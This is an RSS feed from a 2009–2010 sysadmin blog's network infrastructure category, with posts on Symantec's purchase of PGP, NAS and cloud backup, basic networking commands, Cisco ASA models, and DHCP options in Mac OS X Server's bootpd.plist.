<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Krypted &#187; Network Infrastructure</title>
	<atom:link href="http://krypted.com/category/network-infrastructure/feed/" rel="self" type="application/rss+xml" />
	<link>http://krypted.com</link>
	<description>Notes from the field</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:19:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Symantec Acquires PGP &amp; GuardianEdge</title>
		<link>http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/</link>
		<comments>http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 15:00:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[fde]]></category>
		<category><![CDATA[guardianedge]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[pgp]]></category>
		<category><![CDATA[symantec]]></category>
		<category><![CDATA[Zimmerman]]></category>

		<guid isPermaLink="false">http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/</guid>
		<description><![CDATA[Today Symantec announced that it is acquiring PGP. I certainly hope they treat the Mac PGP client better than they&#8217;ve treated some of their other Mac clients. This move brings Symantec squarely into the encryption space. They encrypt full disks (including the boot volume of Mac OS X), portables, file servers, jump drives, Blackberry and [...]]]></description>
			<content:encoded><![CDATA[<p>Today <a href="http://www.symantec.com">Symantec</a> announced that it is acquiring PGP. I certainly hope they treat the Mac PGP client better than they&#8217;ve treated some of their other Mac clients. This move brings Symantec squarely into the encryption space. They encrypt full disks (including the boot volume of Mac OS X), portables, file servers, jump drives, Blackberry and PDFs. They have a mature centralized key management solution (after all, all encryptions seems to be key based these days) and even recently added application control to their portfolio, to block malware. Perhaps the last is why Symantec went ahead and picked them up. Or perhaps it&#8217;s because they just like buying things at Symantec. Shiny IT things that do something cool&#8230; Well, this is perhaps one of my favorite companies that they&#8217;ve bought.</p>
<p>I&#8217;ve liked the PGP brand since watching <a href="http://www.philzimmermann.com/EN/essays/WhyIWrotePGP.html">Zimmerman</a> fight to keep PGP going in the early 1990s, when PGP met the standards of a non-exportable weapon. That is, until Zimmerman published a physical book with the source code in OCR-friendly font and ended up with PGP covered under the first ammendment. All of that is such old history though. Zimmerman has been gone since 2001, after a merger and then an acquisition by Network Associates. The company then ended up getting dumped by Network Associates and refounded (with assets bought back from Network Associates) with a little VC. It&#8217;s been a weird journey to get to where they are today. I hate to watch it go away (again) as a company though. Hopefully this acquisition will go better than things went when they were part of Network Associates.</p>
<p>Symantec is also acquiring GuardianEdge. GuardianEdge products already integrate nicely alongside the Symantec portfolio. You can even deploy GuardianEdge with a special Altiris Connector into Altiris Notification Server, which alerts you when systems &#8220;present risk to protected information&#8221;. Overall, either PGP or GuardianEdge seem like great adds to the Symantec lineup. Both from the outside seem a bit superfluous but I have to guess someone has a great strategy for integrating the two brands into one. I look forward to watching it unfold.<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/business/symantec-continues-to-beef-up-saas-solution-offerings/" rel="bookmark" title="October 22, 2008">Symantec Continues to Beef Up SaaS Solution Offerings</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-os-x-tail/" rel="bookmark" title="August 7, 2007">Mac OS X: tail</a></li>
<li><a href="http://krypted.com/articles-and-books/mac-os-x-for-unix-geeks/" rel="bookmark" title="September 26, 2008">Mac OS X for Unix Geeks</a></li>
<li><a href="http://krypted.com/business/houseport-z-wave-for-mac-finally-available/" rel="bookmark" title="September 25, 2009">Houseport Z-Wave for Mac Finally Available!!</a></li>
<li><a href="http://krypted.com/mac-os-x/lojack/" rel="bookmark" title="February 20, 2009">Lo/Jack</a></li>
</ul>
<p><!-- Similar Posts took 7.720 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-security/symantec-acquires-pgp-guardianedge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NAS, Clouds &amp; Backup</title>
		<link>http://krypted.com/network-infrastructure/nas-clouds-backup/</link>
		<comments>http://krypted.com/network-infrastructure/nas-clouds-backup/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 13:00:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[amazon s3]]></category>
		<category><![CDATA[Bakcup]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[Drobo]]></category>
		<category><![CDATA[JungleDisk]]></category>
		<category><![CDATA[nas]]></category>
		<category><![CDATA[ReadyNAS]]></category>
		<category><![CDATA[Remote]]></category>
		<category><![CDATA[synchronization]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4911</guid>
		<description><![CDATA[NAS (Network Attached Storage) devices are a popular alternative to providing centralized file services to smaller environments. This includes devices such as the Seagate BlackArmor, the DroboShare NAS and the Netgear ReadyNAS Pro. These are inexpensive as compared to an actual server, they require less management and they often come with some pretty compelling features. But [...]]]></description>
			<content:encoded><![CDATA[<p>NAS (Network Attached Storage) devices are a popular alternative to providing centralized file services to smaller environments. This includes devices such as the <a href="http://www.amazon.com/gp/product/B0026ZPP34?ie=UTF8&amp;tag=charlesedge-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=B0026ZPP34">Seagate BlackArmor</a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=charlesedge-20&amp;l=as2&amp;o=1&amp;a=B0026ZPP34" border="0" alt="" width="1" height="1" />, the <a href="http://www.amazon.com/gp/product/B00272BDXM?ie=UTF8&amp;tag=charlesedge-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=B00272BDXM">DroboShare NAS</a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=charlesedge-20&amp;l=as2&amp;o=1&amp;a=B00272BDXM" border="0" alt="" width="1" height="1" /> and the <a href="http://www.amazon.com/gp/product/B001V9LKW6?ie=UTF8&amp;tag=charlesedge-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=B001V9LKW6">Netgear ReadyNAS Pro</a><img style="border:none !important; margin:0px !important;" src="http://www.assoc-amazon.com/e/ir?t=charlesedge-20&amp;l=as2&amp;o=1&amp;a=B001V9LKW6" border="0" alt="" width="1" height="1" />. These are inexpensive as compared to an actual server, they require less management and they often come with some pretty compelling features. But one of the primary reasons to buy a NAS can end up being a potential pain point as well: they require less management than a server because they can&#8217;t do as much as a server can.</p>
<p>For example, the option to replicate between two of them. Most have NAS to NAS replication built in. However, that replication ends up being dependent on having two of them. But what if you just have a machine on the other side of the replication, want to back it up remotely compressed or want to back up to a cloud environment. Well, if it&#8217;s not the same daemon then you&#8217;re typically stuck with CIFS, NFS, HTTPS (WebDAV) or FTP. The devices don&#8217;t typically give you the option to push directly from it nor to run a daemon that non-proprietary device can connect to directly, so you&#8217;d have to use a client to do the offsite sync. One example of how to do this would be to use <a href="http://www.jungledisk.com/">JungleDisk</a> and an Amazon S3 account. JungleDisk would mount the AmazonS3 storage and the NAS storage (all share points). You would then use a tool such as ChronoSync, Retrospect (Duplicate scripts not backup scripts btw) or even rsync to backup the device over CIFS. It&#8217;s not pretty, it&#8217;s extra latency and management, but it would work.</p>
<p>The reason you would do synchronization is that if you attempt to backup (a la Retrospect Backup Scripts) then you&#8217;d send big, monolithic files over the wire. The smaller increments of data you can send over the wire the better. Another tool that can do that type of sync is File Replication Pro. That would actually do blocks instead of files, pushing an even smaller increment of data over the wire. There are certainly other services. You could even open up the firewall (for just the specific ports/IP addresses requiring connectivity, which is always a potential security risk) and have a remote backup service come in and pull the data sync over FTP, CIFS or WebDAV (if you want to stick with a cloud backup solution), but those types of services are a bit more difficult to find.</p>
<p>The same is pretty much the same for cloud based storage. With the exception that instead of a built-in feature you&#8217;re either looking for a built-in feature or an API that allows you to develop your own. The moral of this story, if you use a NAS or a cloud-based solution and you want to back your data up, then your options are limited. Keep this in mind when you decide to purchase a NAS rather than, let&#8217;s say, a <a href="http://www.amazon.com/gp/product/B001AMPORG?ie=UTF8&amp;tag=charlesedge-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=B001AMPORG">Mac OS X Server</a> running on a <a href="http://www.amazon.com/gp/product/B002QQ8CC4?ie=UTF8&amp;tag=charlesedge-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=B002QQ8CC4">Mac Mini</a> with some Direct Attached Storage (DAS) connected to it.<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/xsan/xsan-tco/" rel="bookmark" title="December 3, 2008">Xsan TCO</a></li>
<li><a href="http://krypted.com/business/looking-at-amazons-cloud/" rel="bookmark" title="April 30, 2009">Looking at Amazon&#039;s Cloud</a></li>
<li><a href="http://krypted.com/mac-os-x/mac-in-the-cloud/" rel="bookmark" title="August 20, 2008">Mac in the Cloud</a></li>
<li><a href="http://krypted.com/final-cut-server/final-cut-server-using-amazon-s3-for-archival/" rel="bookmark" title="November 14, 2008">Final Cut Server: Using Amazon S3 for Archival</a></li>
<li><a href="http://krypted.com/mac-os-x/using-microsoft-document-connection-on-a-mac/" rel="bookmark" title="July 21, 2009">Using Microsoft Document Connection on a Mac</a></li>
</ul>
<p><!-- Similar Posts took 5.025 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/network-infrastructure/nas-clouds-backup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Testing Speed</title>
		<link>http://krypted.com/iphone/testing-speed/</link>
		<comments>http://krypted.com/iphone/testing-speed/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 14:53:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[speedtest]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[wan speed]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4871</guid>
		<description><![CDATA[www.speedtest.net is a nice site that allows you to test the speed of your Internet connection for free. They also have a free companion iPhone app that allows you to test the speed of an Internet connection without actually opening up your laptop.Similar Articles:

iPhone Skin
Advanced iPhone Development
iPhone in the Enterprise
RSA Makes a Case for iPhone [...]]]></description>
			<content:encoded><![CDATA[<p>www.speedtest.net is a nice site that allows you to test the speed of your Internet connection for free. They also have a free companion <a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=300704847">iPhone app</a> that allows you to test the speed of an Internet connection without actually opening up your laptop.<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/sites/iphone-skin/" rel="bookmark" title="April 6, 2009">iPhone Skin</a></li>
<li><a href="http://krypted.com/articles-and-books/advanced-iphone-development/" rel="bookmark" title="October 29, 2009">Advanced iPhone Development</a></li>
<li><a href="http://krypted.com/iphone/iphone-in-the-enterprise/" rel="bookmark" title="June 17, 2007">iPhone in the Enterprise</a></li>
<li><a href="http://krypted.com/iphone/rsa-makes-a-case-for-iphone-in-the-enterprise/" rel="bookmark" title="July 23, 2009">RSA Makes a Case for iPhone in the Enterprise</a></li>
<li><a href="http://krypted.com/sites/iphone-and-address-bar-icons/" rel="bookmark" title="December 5, 2009">iPhone and Address Bar Icons</a></li>
</ul>
<p><!-- Similar Posts took 4.578 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/iphone/testing-speed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple Networking Commands</title>
		<link>http://krypted.com/mac-os-x/simple-networking-commands/</link>
		<comments>http://krypted.com/mac-os-x/simple-networking-commands/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 15:33:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[commands]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[troubleshooting]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4822</guid>
		<description><![CDATA[Troubleshooting the network is faster and more thorough when it is done using the command line. Here are some simple command-line utilities that can perform a variety of tasks that can help when administering many services and multiuser environments:

Whoami lists the user you are currently logged in as from the command line.
Who lists the users [...]]]></description>
			<content:encoded><![CDATA[<p>Troubleshooting the network is faster and more thorough when it is done using the command line. Here are some simple command-line utilities that can perform a variety of tasks that can help when administering many services and multiuser environments:</p>
<ul>
<li><strong>Whoami</strong> lists the user you are currently logged in as from the command line.</li>
<li><strong>Who </strong>lists the users logged onto your system.</li>
<li><strong>Id </strong>shows a list of all defined users and groups whether they are actually logged in.</li>
<li><strong>Groups &lt;<em>userid</em>&gt; </strong>shows a list of all the groups a user is in.</li>
<li><strong>Whois </strong>lists ownership information for domains.</li>
<li><strong>Hostname</strong> lists the name of the computer you are currently working on. You can also use <strong>hostname</strong> to set the name of the computer.</li>
<li><strong>Ifconfig</strong> is used to show you information about your network adapter.</li>
<li><strong>Dig</strong> is a utility for interrogating DNS servers. It is used to ask a DNS server for a type of record and provide the information for the DNS server.</li>
<li><strong>Netstat </strong>is a highly configurable tool that can show you the status of your network interfaces. This can help administrators break down which IP addresses are connecting to servers, the name of the system using the IP address, and the ports users are accessing the server over.</li>
<li><strong>Ping</strong> sends a request to a system. If the system supports the ability to respond, then the system will do so. <strong>Ping</strong> can be used to check the availability of a system and make sure data can reliably make it to the system being pinged.</li>
<li><strong>Traceroute</strong> is a utility for tracing where data goes through the Internet to get to a specified destination. The <strong>traceroute</strong> command is useful when troubleshooting connectivity issues between two locations.</li>
</ul>
<p><strong> </strong><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/the-cut-copy-paste-daemon-in-os-x/" rel="bookmark" title="June 29, 2009">The Cut, Copy &amp; Paste Daemon in OS X</a></li>
<li><a href="http://krypted.com/mac-os-x-server/xsan-serialnumberd-troubleshooting/" rel="bookmark" title="January 20, 2010">Xsan + serialnumberd Troubleshooting</a></li>
<li><a href="http://krypted.com/xsan/xsan-stripe-group-down-errors/" rel="bookmark" title="October 28, 2008">Xsan: Stripe Group Down Errors</a></li>
<li><a href="http://krypted.com/consulting/netware-portlock/" rel="bookmark" title="June 24, 2009">NetWare + Portlock</a></li>
</ul>
<p><!-- Similar Posts took 4.382 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/simple-networking-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Cisco ASA 5500</title>
		<link>http://krypted.com/network-infrastructure/the-cisco-asa-5500/</link>
		<comments>http://krypted.com/network-infrastructure/the-cisco-asa-5500/#comments</comments>
		<pubDate>Wed, 07 Oct 2009 15:02:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[1000 series aggregators]]></category>
		<category><![CDATA[asa 5500]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[ios]]></category>
		<category><![CDATA[pix]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4785</guid>
		<description><![CDATA[I&#8217;ve been a fan of the Cisco ASA since it was introduced but always seemed to have a problem figuring out all the different models. Cisco now has a snappy little model comparison that can be found here. A little less helpful, but nice nonetheless is the comparison page for the 1000 Series Aggregation Service [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been a fan of the Cisco ASA since it was introduced but always seemed to have a problem figuring out all the different models. Cisco now has a snappy little model comparison that <a href="http://www.cisco.com/en/US/products/ps6120/prod_models_comparison.html">can be found here</a>. A little less helpful, but nice nonetheless is the comparison page for the <a href="http://www.cisco.com/en/US/products/ps9343/prod_models_comparison.html">1000 Series Aggregation Service Routers</a>. But then there&#8217;s the PIX and the Cisco IOS devices. It&#8217;s still a lot of different stuff to keep track of and while it&#8217;s a lengthy read <a href="http://www.cisco.com/en/US/prod/collateral/vpndevc/ps5708/ps5710/ps1018/C78-345384-04_CiscoIntegratedFirewallSolutions.html">this page</a> may help with that as it goes through each one&#8230;<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/business/cisco-postpath-unified-communications-clear-strategy/" rel="bookmark" title="January 31, 2009">Cisco + Postpath = Unified Communications &#8211; Clear Strategy</a></li>
<li><a href="http://krypted.com/network-infrastructure/fireplotter/" rel="bookmark" title="December 27, 2008">Fireplotter</a></li>
<li><a href="http://krypted.com/network-infrastructure/the-changing-mac-switching-infrastructure/" rel="bookmark" title="June 27, 2007">The Changing Mac Switching Infrastructure</a></li>
<li><a href="http://krypted.com/consulting/wan-acceleration-magic-quadrant/" rel="bookmark" title="November 28, 2007">WAN Acceleration Magic Quadrant</a></li>
<li><a href="http://krypted.com/business/partner-programs/" rel="bookmark" title="February 4, 2007">Partner Programs</a></li>
</ul>
<p><!-- Similar Posts took 8.517 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/network-infrastructure/the-cisco-asa-5500/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adding DHCP Options in Mac OS X Server</title>
		<link>http://krypted.com/mac-os-x-server/adding-dhcp-options-in-mac-os-x-server/</link>
		<comments>http://krypted.com/mac-os-x-server/adding-dhcp-options-in-mac-os-x-server/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 15:00:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[Network Infrastructure]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[define options for DCHP]]></category>
		<category><![CDATA[dhcp options]]></category>
		<category><![CDATA[numbers]]></category>
		<category><![CDATA[RFC]]></category>
		<category><![CDATA[Snow Leopard Server]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4776</guid>
		<description><![CDATA[Mac OS X Server comes with a number of DHCP options available; most notably the options available in the GUI. But what about options that aren&#8217;t available in the GUI, such as NTP. Well, using /etc/bootpd.plist, the same file we used to define servers allowed to relay, you can also define other options. These begin [...]]]></description>
			<content:encoded><![CDATA[<p>Mac OS X Server comes with a number of <a href="http://krypted.com/unix/dhcp-leases-expanded/">DHCP option</a>s available; most notably the options available in the GUI. But what about options that aren&#8217;t available in the GUI, such as NTP. Well, using /etc/bootpd.plist, <a href="http://krypted.com/mac-os-x/bootp-relaying-troubleshooting-netboot/">the same file we used to define servers allowed to relay</a>, you can also define other options. These begin with the following keys that can be added into your property list:</p>
<ul>
<li>dhcp_time_offset (option 2)</li>
<li>dhcp_router (option 3)</li>
<li>dhcp_domain_name_server (option 6)</li>
<li>dhcp_domain_name (option 15)</li>
<li>dhcp_network_time_protocol_servers (option 42)</li>
<li>dhcp_nb_over_tcpip_name_server (option 44)</li>
<li>dhcp_nb__over_tcpip_dgram_dist_server (option 45)</li>
<li>dhcp_nb_over_tcpip_node_type (option 46)</li>
<li>dhcp_nb_over_tcpip_scope (option 47)</li>
<li>dhcp_smtp_server (option 69)</li>
<li>dhcp_pop3_server (option 70)</li>
<li>dhcp_nntp_server (option 71)</li>
<li>dhcp_ldap_url (option 95)</li>
<li>dhcp_netinfo_server_address (option 112)</li>
<li>dhcp_netinfo_server_tag (option 113)</li>
<li>dhcp_url (option 114)</li>
<li>dhcp_domain_search (option 119)</li>
<li>dhcp_proxy_auto_discovery_url (option 252)</li>
</ul>
<p>But you can also add options by their numerical identifier. To add them, add the following into your /etc/bootpd.plist file and then restart the DHCP service:<br />
<code><br />
&lt;string&gt;dhcp_option_120&lt;/string&gt;</code></p>
<p><code>&lt;data&gt;</code></p>
<p><code>192.168.210.7</code></p>
<p><code> </code></p>
<p><code> &lt;/data&gt;</code></p>
<div>In the above, you&#8217;d replace the option 120 (SIP) with the option you wish to use. Numbers correspond to options as follows:</div>
<div>
<blockquote>
<div>0 &#8211; Pad</div>
<div>1 &#8211; Subnet Mask</div>
<div>3 &#8211; Router</div>
<div>4 &#8211; Time Server</div>
<div>5 &#8211; Name Server</div>
<div>6 &#8211; Domain Name Server</div>
<div>7 &#8211; Log Server</div>
<div>8<span style="white-space: pre;"> </span>Quote Server</div>
<div>9 &#8211; LPR Server</div>
<div>10 &#8211; Impress Server</div>
<div>11 &#8211; Resource Location Server</div>
<div>12 &#8211; Host Name</div>
<div>13 &#8211; Boot File Size</div>
<div>14 &#8211; Merit Dump File</div>
<div>15 &#8211; Domain Name</div>
<div>16 &#8211; Swap Server</div>
<div>17 &#8211; Root Path</div>
<div>18 &#8211; Extensions Path</div>
<div>19 &#8211; IP Forwarding</div>
<div>20 &#8211; WAN Source Routing</div>
<div>21 &#8211; Policy Filter</div>
<div>22 &#8211; Maximum Datagram Reassembly Size</div>
<div>23 &#8211; Default IP Time-to-live</div>
<div>24 &#8211; Path MTU Aging Timeout</div>
<div>25 &#8211; Path MTU Plateau Table</div>
<div>26 &#8211; Interface MTU</div>
<div>27 &#8211; All Subnets are Local</div>
<div>28 &#8211; Broadcast Address</div>
<div>29 &#8211; Perform Mask Discovery</div>
<div>30 &#8211; Mask supplier</div>
<div>31 &#8211; Perform router discovery</div>
<div>32 &#8211; Router solicitation address</div>
<div>33 &#8211; Static routing table</div>
<div>34 &#8211; Trailer encapsulation.</div>
<div>35 &#8211; ARP cache timeout</div>
<div>36 &#8211; Ethernet encapsulation</div>
<div>37 &#8211; Default TCP TTL</div>
<div>38 &#8211; TCP keep alive interval</div>
<div>39 &#8211; TCP keep alive garbage</div>
<div>40 &#8211; Network Information Service Domain</div>
<div>41 &#8211; Network Information Servers</div>
<div>42 &#8211; NTP servers</div>
<div>43 &#8211; Vendor specific information</div>
<div>44 &#8211; NetBIOS over TCP/IP name server</div>
<div>45 &#8211; NetBIOS over TCP/IP Datagram Distribution Server</div>
<div>46 &#8211; NetBIOS over TCP/IP Node Type</div>
<div>47 &#8211; NetBIOS over TCP/IP Scope</div>
<div>48<span style="white-space: pre;"> </span>- X Window System Font Server</div>
<div>49<span style="white-space: pre;"> </span>- X Window System Display Manager</div>
<div>50<span style="white-space: pre;"> </span>- Requested IP Address</div>
<div>51<span style="white-space: pre;"> </span>- IP address lease time</div>
<div>52<span style="white-space: pre;"> </span>- Option overload</div>
<div>53<span style="white-space: pre;"> </span>- DHCP message type</div>
<div>54<span style="white-space: pre;"> </span>- Server identifier</div>
<div>55<span style="white-space: pre;"> </span>- Parameter request list</div>
<div>56<span style="white-space: pre;"> </span>- Message</div>
<div>57<span style="white-space: pre;"> </span>- Maximum DHCP message size</div>
<div>58<span style="white-space: pre;"> </span>- Renew time value</div>
<div>59<span style="white-space: pre;"> </span>- Rebinding time value</div>
<div>60<span style="white-space: pre;"> </span>- Class-identifier</div>
<div>61<span style="white-space: pre;"> </span>- Client-identifier</div>
<div>62<span style="white-space: pre;"> </span>- NetWare over IP Domain Name</div>
<div>63<span style="white-space: pre;"> </span>- NetWare over IP information</div>
<div>64<span style="white-space: pre;"> </span>- Network Information Service Domain</div>
<div>65<span style="white-space: pre;"> </span>- Network Information Service Servers</div>
<div>66<span style="white-space: pre;"> </span>- TFTP server name</div>
<div>67<span style="white-space: pre;"> </span>- Bootfile name</div>
<div>68<span style="white-space: pre;"> </span>- Mobile IP Home Agent</div>
<div>69<span style="white-space: pre;"> </span>- Simple Mail Transport Protocol Server</div>
<div>70<span style="white-space: pre;"> </span>- Post Office Protocol Server</div>
<div>71<span style="white-space: pre;"> </span>- Network News Transport Protocol Server</div>
<div>72<span style="white-space: pre;"> </span>- Default World Wide Web Server</div>
<div>73<span style="white-space: pre;"> </span>- Default Finger Server</div>
<div>74<span style="white-space: pre;"> </span>- Default Internet Relay Chat Server</div>
<div>77<span style="white-space: pre;"> </span>- User Class Information</div>
<div>78<span style="white-space: pre;"> </span>- SLP Directory Agent</div>
<div>79<span style="white-space: pre;"> </span>- SLP Service Scope</div>
<div>80<span style="white-space: pre;"> </span>- Rapid Commit</div>
<div>81<span style="white-space: pre;"> </span>- Fully Qualified Domain Name</div>
<div>82<span style="white-space: pre;"> </span>- Relay Agent Information</div>
<div>83<span style="white-space: pre;"> </span>- Internet Storage Name Service</div>
<div>85<span style="white-space: pre;"> </span>- NDS servers</div>
<div>86<span style="white-space: pre;"> </span>- NDS tree name</div>
<div>87<span style="white-space: pre;"> </span>- NDS context</div>
<div>88<span style="white-space: pre;"> </span>- BCMCS Controller Domain Name list</div>
<div>89<span style="white-space: pre;"> </span>- BCMCS Controller IPv4 address list</div>
<div>90<span style="white-space: pre;"> </span>- Authentication</div>
<div>91<span style="white-space: pre;"> </span>- Client Last Transaction Time</div>
<div>92<span style="white-space: pre;"> </span>- Associated IP</div>
<div>93<span style="white-space: pre;"> </span>- Client System Architecture Type</div>
<div>94<span style="white-space: pre;"> </span>- Client Network Interface Identifier</div>
<div>95<span style="white-space: pre;"> </span>- LDAP, Lightweight Directory Access Protocol</div>
<div>97<span style="white-space: pre;"> </span>- Client Machine Identifier</div>
<div>98<span style="white-space: pre;"> </span>- Open Group User Authentication</div>
<div>100<span style="white-space: pre;"> </span> &#8211; IEEE 1003.1 TZ String</div>
<div>101<span style="white-space: pre;"> </span> &#8211; Reference to the TZ Database</div>
<div>112<span style="white-space: pre;"> </span> &#8211; NetInfo Parent Server Address</div>
<div>113<span style="white-space: pre;"> </span> &#8211; NetInfo Parent Server Tag</div>
<div>114- URL</div>
<div>116 &#8211; Auto-Configure</div>
<div>117 &#8211; Name Service Search</div>
<div>118 &#8211; Subnet Selection</div>
<div>119 &#8211; DNS domain search list</div>
<div>120<span style="white-space: pre;"> </span> &#8211; SIP Servers DHCP Option</div>
<div>121<span style="white-space: pre;"> </span> &#8211; Classless Static Route Option</div>
<div>123<span style="white-space: pre;"> </span> &#8211; GeoConfiguration</div>
<div>124<span style="white-space: pre;"> </span> &#8211; Vendor-Identifying Vendor Class</div>
<div>125<span style="white-space: pre;"> </span> &#8211; Vendor-Identifying Vendor Specific</div>
<div>128<span style="white-space: pre;"> </span> &#8211; TFPT Server IP address</div>
<div>129<span style="white-space: pre;"> </span> &#8211; Call Server IP address</div>
<div>130<span style="white-space: pre;"> </span> &#8211; Discrimination string</div>
<div>131<span style="white-space: pre;"> </span> &#8211; Remote statistics server IP address</div>
<div>132<span style="white-space: pre;"> </span> &#8211; 802.1P VLAN ID</div>
<div>133<span style="white-space: pre;"> </span> &#8211; 802.1Q L2 Priority</div>
<div>134<span style="white-space: pre;"> </span> &#8211; Diffserv Code Point</div>
<div>135<span style="white-space: pre;"> </span> &#8211; HTTP Proxy for phone-specific applications</div>
<div>136 &#8211; PANA Authentication Agent</div>
<div>139<span style="white-space: pre;"> </span> &#8211; IPv4 MoS</div>
<div>140<span style="white-space: pre;"> </span> &#8211; IPv4 Fully Qualified Domain Name MoS</div>
<div>150<span style="white-space: pre;"> </span> &#8211; TFTP server address</div>
<div>176 &#8211; IP Telephone</div>
<div>220<span style="white-space: pre;"> </span> &#8211; Subnet Allocation</div>
<div>221<span style="white-space: pre;"> </span> &#8211; Virtual Subnet Selection</div>
<div>252 – Proxy auto-discovery</div>
<div>254<span style="white-space: pre;"> </span> &#8211; Private use</div>
<div>255<span style="white-space: pre;"> </span> &#8211; End</div>
</blockquote>
</div>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x-server/mac-os-x-server-and-wins/" rel="bookmark" title="February 12, 2009">Mac OS X Server and WINS</a></li>
<li><a href="http://krypted.com/mac-os-x-server/mac-os-x-server-installing-the-os/" rel="bookmark" title="November 4, 2008">Mac OS X Server: Installing the OS</a></li>
<li><a href="http://krypted.com/mac-os-x-server/adding-recursion-in-named-conf/" rel="bookmark" title="September 29, 2009">Adding Recursion in named.conf</a></li>
